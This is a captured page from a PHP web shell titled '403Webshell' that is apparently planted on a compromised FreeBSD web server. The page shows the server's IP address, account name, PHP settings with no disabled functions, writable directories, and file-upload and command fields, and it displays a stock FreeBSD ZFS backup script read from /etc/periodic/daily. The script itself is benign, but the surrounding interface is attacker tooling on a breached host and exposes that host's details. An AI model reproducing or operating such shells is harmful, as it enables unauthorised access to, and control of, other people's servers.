403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /etc/periodic/daily/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/periodic/daily/223.backup-zfs
#!/bin/sh

# $FreeBSD: releng/12.4/usr.sbin/periodic/etc/daily/223.backup-zfs 368514 2020-12-10 13:25:45Z gbe $
# Created by: Miroslav Lachman <000.fbsd@quip.cz>

# Backup of zpool list, zfs list, zpool properties and zfs properties
# for each filesystem. The backup will be stored in /var/backups.

# If there is a global system configuration file, suck it in.
#
if [ -r /etc/defaults/periodic.conf ]
then
	. /etc/defaults/periodic.conf
	source_periodic_confs
fi

bak_dir=/var/backups

rotate() {
	base_name=$1
	show_diff=$2
	file="$bak_dir/$base_name"

	if [ -f "${file}.bak" ] ; then
		rc=0
		if cmp -s "${file}.bak" "${file}.tmp"; then
			rm "${file}.tmp"
		else
			rc=1
			[ -n "$show_diff" ] && diff "${file}.bak" "${file}.tmp"
			mv "${file}.bak" "${file}.bak2" || rc=3
			mv "${file}.tmp" "${file}.bak" || rc=3
		fi
	else
		rc=1
		mv "${file}.tmp" "${file}.bak" || rc=3
		[ -n "$show_diff" ] && cat "${file}.bak"
	fi
}

case "$daily_backup_zfs_verbose" in
	[Yy][Ee][Ss]) show="YES"
esac

case "$daily_backup_zfs_enable" in
	[Yy][Ee][Ss])

    zpools=$(zpool list $daily_backup_zpool_list_flags)

	if [ -z "$zpools"  ]; then
		echo 'daily_backup_zfs_enable is set to YES but no zpools found.'
		rc=2
	else
		echo ""
		echo "Backup of ZFS information for all imported pools";

		echo "$zpools" > "$bak_dir/zpool_list.tmp"
		rotate "zpool_list" $show

		zfs list $daily_backup_zfs_list_flags > "$bak_dir/zfs_list.tmp"
		rotate "zfs_list" $show
	fi
	;;
	*)  rc=0;;
esac

case "$daily_backup_zfs_props_enable" in
    [Yy][Ee][Ss])

    zfs get $daily_backup_zfs_get_flags > "$bak_dir/zfs_props.tmp"
    rotate "zfs_props"

    zpool get $daily_backup_zpool_get_flags > "$bak_dir/zpool_props.tmp"
    rotate "zpool_props"
    ;;
esac

exit $rc

Youez - 2016 - github.com/yon3zu
LinuXploit